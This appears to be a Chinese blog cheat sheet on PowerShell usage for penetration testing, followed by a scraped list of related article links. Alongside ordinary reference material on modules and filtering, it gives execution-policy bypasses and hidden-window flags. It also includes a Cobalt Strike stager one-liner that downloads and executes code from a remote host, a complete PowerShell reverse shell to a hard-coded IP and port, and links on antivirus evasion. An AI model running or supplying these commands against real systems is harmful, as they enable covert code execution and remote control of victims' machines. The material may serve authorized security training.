powershell使用总结
CATALOG
- 1.模块导入
- 2.查看模块对应命令
- 3.常见参数概述
- 4.绕过powershell执行策略
- 5.powershell下载远程数据
- 6.常见操作
- 7.powershell函数传参相关
- 8.数据筛选
- 补充:powershell上线免杀
- 补充:powershell下载rsat
- 补充:反弹powershell
- 9.附录参考
1.模块导入
Import-Module Recon
Import-Module -name .\powerview.ps1
2.查看模块对应命令
Get-Command -Module name
powershell echo 12;#3
powershell截断符是“;#”。
3.常见参数概述
powershell.exe -ExecutionPolicy bypass -noprofile IEX(’’)
上述命令意思为
1、将执行策略设置为绕过,这样可以执行powershell脚本文件。
2、不加载配置文件
3、隐藏窗口
4、Iex命令为invove-expression的别名:接收一个字符串作为要运行的完整命令(包括参数)。
名称 | 用法 |
---|---|
-Command | 需要执行的代码 |
-ExecutionPolicy | 设置默认的执行策略,一般使用Bypass |
-EncodedCommand | 执行Base64代码,可在powershell混淆的时候用 |
-File | 这是需要执行的脚本名 |
-NoExit | 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面 |
-NoLogo | 不输出PS的Banner信息 |
-Noninteractive | 不开启交互式的会话 |
-NoProfile | 不使用当前用户使用的配置文件 |
-Sta | 以单线程模式启动ps |
-Version | 设置用什么版本去执行代码 |
-WindowStyle | 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden |
ep bypass= -ExecutionPolicy bypass
IEX(‘echo hello’) = invoke-expression(‘echo hello’)
-WindowStyle hidden
4.绕过powershell执行策略
cmd中:
powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
也可以参考下面的链接
绕过powershell执行策略的方法
5.powershell下载远程数据
powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1')
6.常见操作
- 绕过本地权限执行文件
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
- 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
- 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
- cs上线命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.250.3:8022/a'))"
#powershell上线命令可以简化成以下形式,删除了两个括号和两个双引号
powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://172.16.250.3:8022/a')
- 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain"
- 筛选
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}
筛选Name字段中含有以MM开头的所有值。
7.powershell函数传参相关
但我们要传输powershell命令的时候,如果参数重含有单引号" ’ ",这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。
8.数据筛选
我们创建一个文件,内容如下:
筛选包含数字3的项:
$_
是必须加的,它的作用是接收管道符传过来的值。
补充:powershell上线免杀
https://f5.pm/go-52159.html
https://www.freebuf.com/articles/system/249449.html
https://www.cnblogs.com/linuxsec/articles/7384582.html
https://y4er.com/post/cobalt-strike-powershell-bypass/
补充:powershell下载rsat
需要管理员权限
Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State
Add-WindowsCapability -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 –Online;whoami
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online
如何在windows中安装rsat
如何在不同的Windows版本上安装组策略管理控制台
补充:反弹powershell
powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
9.附录参考
powershell攻击教程
Powershell对象条件查询筛选
powershell使用总结相关推荐
- 不一样的命令行 – Windows PowerShell简介
引子 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了 ...
- PowerShell 2.0 实践(十二)管理 SQL Server 2008 R2(1)
DBA可以使用的工具很多,对于SQL Server来说,有查询分析器.事件探查器.命令行工具等,其中SQL语句是重中之重,但是PowerShell的出现使得DBA又多了一种选择. 测试脚本下载 本系列 ...
- linux远程开机windows,从Linux到Windows的PowerShell远程处理
原标题:从Linux到Windows的PowerShell远程处理 前提条件 1)后期利用期间可以通过目标NTLM身份验证 2)重启WinRM服务 3)使用此NTLM支持PowerShell Dock ...
- 在win7怎么使用linux指令,Win7系统的Powershell命令怎么使用
Win7系统的Powershell命令怎么使用 命令提示符的使用频率虽然不高,但它在系统和网络管理,维护工作中起着重要的作用.在微软最新的Windows7系统中也为我们带来了cmd的升级版Window ...
- powershell真香
写毕设开题报告,从PDF复制后会有多余空格,一个一个手动删除略显麻烦. delete.cpp #include<iostream> #include<cstdio> #incl ...
- 使用Powershell批量为Azure资源添加Tags
在使用Azure的过程中,我们可以将Tags应用于Azure资源,从而可以将元数据逻辑的组织到某些分类中.每个Tags由名称和值组成.例如,我们可以将名称"Environment" ...
- PowerShell 导入 SQL Server 的 PS 模块
接触过UNIX或者Linux 的朋友都知道此类系统有着功能强大.无所不能的壳程序,称之为Shell.微软公司于2006年第四季度正式发布PowerShell,它的出现标志着, 微软公司向服务器领域迈出 ...
- Windows PowerShell 2.0语言之字面类型系统
PowerShell语言允许通过一个字面类型(type Literals)来访问类型,它是用括号抬起的类型名,返回.NET底层的System.Type对象实例,如: PS C:\> [Syste ...
- Windows脚本初探之PowerShell流程控制if
Windows Powershell中if语句为可以为一下三种形式,只用表达式为True时才执行相应花括号中的命令语句/块: 示例1: 1 2 3 4 if (表达式1) { 命令语句/块 ...
- 《Windows PowerShell实战指南(第2版)》——3.4 使用帮助找命令
本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第3章,第3.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...
最新文章
- NSURLSession简介与入门
- 使用MapReduce实现join操作
- 31 天重构学习笔记索引
- 诺依曼原理中计算机由运算器,冯诺依曼原理与计算机的基本组成
- OSError: Could not find kaggle.json
- C# lock 语法糖实现原理--《.NET Core 底层入门》之自旋锁,互斥锁,混合锁,读写锁...
- path manipulation怎么解决_干货!终于!解决macOS下pyenv安装python3.8.2缺少tkinter模块的问题!...
- Forrester云原生开发者洞察白皮书,低代码概念缔造者又提出新的开发范式
- spark与storm的对比
- 访问受限 诺基亚禁止Navifirm获取固件(图)
- js中contains()方法的了解
- 【STL容器讲解—栈队列】
- 数据寻址——偏移寻址
- python谁的教程好贴吧_python深挖65万人的明星贴吧,探究上万个帖子的秘密
- 第三届“传智杯”全国大学生IT技能大赛(初赛B组)题解
- ajax上传图片到又拍云,又拍云存储(UpYun)的.NET Core填坑
- 动态代理ip的测试步骤有哪些?
- Chrome浏览器的crash问题
- 括号匹配,实现简单计算器(加减乘除,小括号)
- C: integer overflow,隐式类型转换/整数加法溢出 解决方法示例;check_add_overflow;__builtin_add_overflow